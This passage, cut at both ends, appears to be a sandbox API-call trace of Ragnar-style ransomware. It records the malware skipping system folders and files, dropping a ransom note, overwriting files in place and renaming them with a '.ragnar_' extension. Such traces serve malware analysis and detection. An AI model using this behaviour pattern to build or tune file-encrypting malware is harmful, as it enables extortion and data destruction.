nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.933] GetProcessHeap () returned 0x580000 [0070.933] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0070.933] CloseHandle (hObject=0x100) returned 1 [0070.934] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" [0070.934] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0070.934] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0070.935] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0070.935] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0070.935] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0070.935] lstrcmpiW (lpString1="BLENDS", lpString2=".") returned 1 [0070.935] lstrcmpiW (lpString1="BLENDS", lpString2="..") returned 1 [0070.935] lstrcmpiW (lpString1="BLENDS", lpString2="Windows") returned -1 [0070.935] lstrcmpiW (lpString1="BLENDS", lpString2="Windows.old") returned -1 [0070.935] lstrcmpiW (lpString1="BLENDS", lpString2="Tor browser") returned -1 [0070.935] lstrcmpiW (lpString1="BLENDS", lpString2="Internet Explorer") returned -1 [0070.935] lstrcmpiW (lpString1="BLENDS", lpString2="Google") returned -1 [0070.935] lstrcmpiW (lpString1="BLENDS", lpString2="Opera") returned -1 [0070.935] lstrcmpiW (lpString1="BLENDS", lpString2="Opera Software") returned -1 [0070.935] lstrcmpiW (lpString1="BLENDS", lpString2="Mozilla") returned -1 [0070.935] lstrcmpiW (lpString1="BLENDS", lpString2="Mozilla Firefox") returned -1 [0070.935] lstrcmpiW (lpString1="BLENDS", lpString2="$Recycle.Bin") returned 1 [0070.935] lstrcmpiW (lpString1="BLENDS", lpString2="ProgramData") returned -1 [0070.935] lstrcmpiW (lpString1="BLENDS", lpString2="All Users") returned 1 [0070.935] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0070.935] lstrcpyW (in: lpString1=0x1eb638, lpString2="BLENDS" | out: lpString1="BLENDS") returned="BLENDS" [0070.935] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\" [0070.935] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\" [0070.935] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\RGNR_FD7BD9FC.txt" [0070.936] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0071.060] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*" [0071.060] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0071.061] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0071.061] lstrcpyW (in: lpString1=0x1ea75a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0071.061] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c98b560, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c98b560, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0071.061] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0071.061] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c98b560, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c98b560, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.061] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0071.061] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0071.061] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1 [0071.061] lstrcmpiW (lpString1="BLENDS.ELM", lpString2=".") returned 1 [0071.061] lstrcmpiW (lpString1="BLENDS.ELM", lpString2="..") returned 1 [0071.061] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1 [0071.061] lstrcmpiW (lpString1="BLENDS.INF", lpString2=".") returned 1 [0071.061] lstrcmpiW (lpString1="BLENDS.INF", lpString2="..") returned 1 [0071.061] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0071.061] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0071.061] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0071.061] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c98b560, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7c98b560, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0071.061] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0071.061] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0071.061] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0071.061] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0071.061] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0071.061] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0071.061] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0071.062] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c98b560, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c98b560, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0071.062] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c98b560, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c98b560, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.062] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1 [0071.062] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0071.062] lstrcpyW (in: lpString1=0x1eab6e, lpString2="BLENDS.ELM" | out: lpString1="BLENDS.ELM") returned="BLENDS.ELM" [0071.062] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned=".ELM" [0071.062] lstrcmpiW (lpString1="BLENDS.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0071.062] lstrcmpiW (lpString1="BLENDS.ELM", lpString2="autorun.inf") returned 1 [0071.062] lstrcmpiW (lpString1="BLENDS.ELM", lpString2="boot.ini") returned -1 [0071.062] lstrcmpiW (lpString1="BLENDS.ELM", lpString2="bootfont.bin") returned -1 [0071.062] lstrcmpiW (lpString1="BLENDS.ELM", lpString2="bootsect.bak") returned -1 [0071.062] lstrcmpiW (lpString1="BLENDS.ELM", lpString2="bootmgr") returned -1 [0071.062] lstrcmpiW (lpString1="BLENDS.ELM", lpString2="bootmgr.efi") returned -1 [0071.062] lstrcmpiW (lpString1="BLENDS.ELM", lpString2="bootmgfw.efi") returned -1 [0071.062] lstrcmpiW (lpString1="BLENDS.ELM", lpString2="desktop.ini") returned -1 [0071.062] lstrcmpiW (lpString1="BLENDS.ELM", lpString2="iconcache.db") returned -1 [0071.062] lstrcmpiW (lpString1="BLENDS.ELM", lpString2="ntldr") returned -1 [0071.062] lstrcmpiW (lpString1="BLENDS.ELM", lpString2="ntuser.dat") returned -1 [0071.062] lstrcmpiW (lpString1="BLENDS.ELM", lpString2="ntuser.dat.log") returned -1 [0071.062] lstrcmpiW (lpString1="BLENDS.ELM", lpString2="ntuser.ini") returned -1 [0071.062] lstrcmpiW (lpString1="BLENDS.ELM", lpString2="thumbs.db") returned -1 [0071.062] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0071.062] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0071.062] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0071.062] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0071.062] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0071.062] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0071.062] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0071.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm")) returned 0x20 [0071.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0071.063] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=69047) returned 1 [0071.063] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x10dae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.063] GetProcessHeap () returned 0x580000 [0071.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.063] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.065] VirtualAlloc (lpAddress=0x0, dwSize=0x10db7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.065] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.065] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.065] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x10db7, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x10db7, lpOverlapped=0x0) returned 1 [0071.067] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.068] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10db7, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.068] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x10db7, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x10db7, lpOverlapped=0x0) returned 1 [0071.068] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10db7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.068] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.069] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x10db7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.069] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.069] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.069] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.069] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.069] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.069] GetProcessHeap () returned 0x580000 [0071.069] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.069] CloseHandle (hObject=0x10c) returned 1 [0071.070] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" [0071.070] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.ragnar_FD7BD9FC" [0071.070] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.072] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1 [0071.072] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0071.072] lstrcpyW (in: lpString1=0x1eab6e, lpString2="BLENDS.INF" | out: lpString1="BLENDS.INF") returned="BLENDS.INF" [0071.072] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF") returned=".INF" [0071.072] lstrcmpiW (lpString1="BLENDS.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0071.072] lstrcmpiW (lpString1="BLENDS.INF", lpString2="autorun.inf") returned 1 [0071.072] lstrcmpiW (lpString1="BLENDS.INF", lpString2="boot.ini") returned -1 [0071.073] lstrcmpiW (lpString1="BLENDS.INF", lpString2="bootfont.bin") returned -1 [0071.073] lstrcmpiW (lpString1="BLENDS.INF", lpString2="bootsect.bak") returned -1 [0071.073] lstrcmpiW (lpString1="BLENDS.INF", lpString2="bootmgr") returned -1 [0071.073] lstrcmpiW (lpString1="BLENDS.INF", lpString2="bootmgr.efi") returned -1 [0071.073] lstrcmpiW (lpString1="BLENDS.INF", lpString2="bootmgfw.efi") returned -1 [0071.073] lstrcmpiW (lpString1="BLENDS.INF", lpString2="desktop.ini") returned -1 [0071.073] lstrcmpiW (lpString1="BLENDS.INF", lpString2="iconcache.db") returned -1 [0071.073] lstrcmpiW (lpString1="BLENDS.INF", lpString2="ntldr") returned -1 [0071.073] lstrcmpiW (lpString1="BLENDS.INF", lpString2="ntuser.dat") returned -1 [0071.073] lstrcmpiW (lpString1="BLENDS.INF", lpString2="ntuser.dat.log") returned -1 [0071.073] lstrcmpiW (lpString1="BLENDS.INF", lpString2="ntuser.ini") returned -1 [0071.073] lstrcmpiW (lpString1="BLENDS.INF", lpString2="thumbs.db") returned -1 [0071.073] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0071.073] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0071.073] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0071.073] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0071.073] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0071.073] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0071.073] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0071.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf")) returned 0x20 [0071.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0071.074] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=534) returned 1 [0071.074] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x20d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.074] GetProcessHeap () returned 0x580000 [0071.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.074] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.075] VirtualAlloc (lpAddress=0x0, dwSize=0x216, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.075] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 